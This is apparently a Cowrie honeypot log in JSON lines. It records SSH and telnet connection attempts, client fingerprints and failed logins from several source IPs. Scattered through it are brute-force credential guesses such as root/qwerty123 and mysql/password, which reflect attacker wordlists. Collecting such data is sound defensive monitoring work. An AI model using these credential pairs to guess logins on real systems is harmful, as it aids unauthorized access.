{"eventid":"cowrie.session.connect","src_ip":"3.129.187.38","src_port":38118,"dst_ip":"10.17.0.5","dst_port":23,"session":"01f69aaaa245","protocol":"telnet","message":"New connection: 3.129.187.38:38118 (10.17.0.5:23) [session: 01f69aaaa245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:02:58.034236Z"}
{"eventid":"cowrie.session.closed","duration":10.022265672683716,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:03:08.056386Z","src_ip":"3.129.187.38","session":"01f69aaaa245","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"106.75.222.164","src_port":56340,"dst_ip":"10.17.0.5","dst_port":22,"session":"a56a6c610ca9","protocol":"ssh","message":"New connection: 106.75.222.164:56340 (10.17.0.5:22) [session: a56a6c610ca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:03:09.827540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:03:09.831952Z","src_ip":"106.75.222.164","session":"a56a6c610ca9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:03:10.070769Z","src_ip":"106.75.222.164","session":"a56a6c610ca9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abc1234567","message":"login attempt [ubuntu/abc1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:03:11.065107Z","src_ip":"106.75.222.164","session":"a56a6c610ca9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:03:12.306103Z","src_ip":"106.75.222.164","session":"a56a6c610ca9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.129.187.38","src_port":59736,"dst_ip":"159.203.135.109","dst_port":23,"session":"53b5333069fa","protocol":"telnet","message":"New connection: 3.129.187.38:59736 (159.203.135.109:23) [session: 53b5333069fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:03:14.712790Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:03:16.744698Z","src_ip":"122.168.114.167","session":"d960297c5308","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"31.9","message":"Connection lost after 31.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:03:21.960977Z","src_ip":"122.168.114.167","session":"d960297c5308","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.02427339553833,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:03:24.736928Z","src_ip":"3.129.187.38","session":"53b5333069fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.179.160","src_port":48348,"dst_ip":"10.17.0.5","dst_port":22,"session":"07d8660006cb","protocol":"ssh","message":"New connection: 103.97.179.160:48348 (10.17.0.5:22) [session: 07d8660006cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:03:35.028765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:03:35.034992Z","src_ip":"103.97.179.160","session":"07d8660006cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:03:35.275008Z","src_ip":"103.97.179.160","session":"07d8660006cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssword","message":"login attempt [ubuntu/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:03:36.152680Z","src_ip":"103.97.179.160","session":"07d8660006cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":56076,"dst_ip":"159.203.135.109","dst_port":22,"session":"310b559963cb","protocol":"ssh","message":"New connection: 122.168.114.167:56076 (159.203.135.109:22) [session: 310b559963cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:03:36.552687Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:03:37.367334Z","src_ip":"103.97.179.160","session":"07d8660006cb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:03:39.811793Z","src_ip":"122.168.114.167","session":"310b559963cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:03:39.815911Z","src_ip":"122.168.114.167","session":"310b559963cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":39254,"dst_ip":"10.17.0.5","dst_port":22,"session":"a75617173cea","protocol":"ssh","message":"New connection: 76.127.61.251:39254 (10.17.0.5:22) [session: a75617173cea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:03:45.067459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:03:45.073459Z","src_ip":"76.127.61.251","session":"a75617173cea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:03:45.131618Z","src_ip":"76.127.61.251","session":"a75617173cea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"password","message":"login attempt [mysql/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:03:45.398217Z","src_ip":"76.127.61.251","session":"a75617173cea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:03:46.458491Z","src_ip":"76.127.61.251","session":"a75617173cea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:04:00.201906Z","src_ip":"122.168.114.167","session":"310b559963cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"29.6","message":"Connection lost after 29.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:04:06.180801Z","src_ip":"122.168.114.167","session":"310b559963cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":58480,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffe0511171d5","protocol":"ssh","message":"New connection: 122.168.114.167:58480 (159.203.135.109:22) [session: ffe0511171d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:04:16.191857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:04:21.972066Z","src_ip":"122.168.114.167","session":"ffe0511171d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:04:21.975614Z","src_ip":"122.168.114.167","session":"ffe0511171d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":35002,"dst_ip":"10.17.0.5","dst_port":22,"session":"d227720b0763","protocol":"ssh","message":"New connection: 76.127.61.251:35002 (10.17.0.5:22) [session: d227720b0763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:04:36.849837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:04:36.855237Z","src_ip":"76.127.61.251","session":"d227720b0763","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:04:36.913416Z","src_ip":"76.127.61.251","session":"d227720b0763","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe!@#QWE","message":"login attempt [root/qwe!@#QWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:04:37.175817Z","src_ip":"76.127.61.251","session":"d227720b0763","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:04:37.722183Z","src_ip":"122.168.114.167","session":"ffe0511171d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:04:38.238112Z","src_ip":"76.127.61.251","session":"d227720b0763","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.179.160","src_port":57560,"dst_ip":"10.17.0.5","dst_port":22,"session":"594585186d19","protocol":"ssh","message":"New connection: 103.97.179.160:57560 (10.17.0.5:22) [session: 594585186d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:04:38.875995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:04:38.881689Z","src_ip":"103.97.179.160","session":"594585186d19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:04:39.122456Z","src_ip":"103.97.179.160","session":"594585186d19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ldap","message":"login attempt [admin/ldap] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:04:40.009317Z","src_ip":"103.97.179.160","session":"594585186d19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:04:41.222248Z","src_ip":"103.97.179.160","session":"594585186d19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"27.1","message":"Connection lost after 27.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:04:43.261382Z","src_ip":"122.168.114.167","session":"ffe0511171d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":60886,"dst_ip":"159.203.135.109","dst_port":22,"session":"6455dc13ff44","protocol":"ssh","message":"New connection: 122.168.114.167:60886 (159.203.135.109:22) [session: 6455dc13ff44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:04:55.384949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:00.038342Z","src_ip":"122.168.114.167","session":"6455dc13ff44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:00.042848Z","src_ip":"122.168.114.167","session":"6455dc13ff44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":44046,"dst_ip":"10.17.0.5","dst_port":22,"session":"86744efca5d5","protocol":"ssh","message":"New connection: 148.230.169.229:44046 (10.17.0.5:22) [session: 86744efca5d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:05:11.119509Z"}
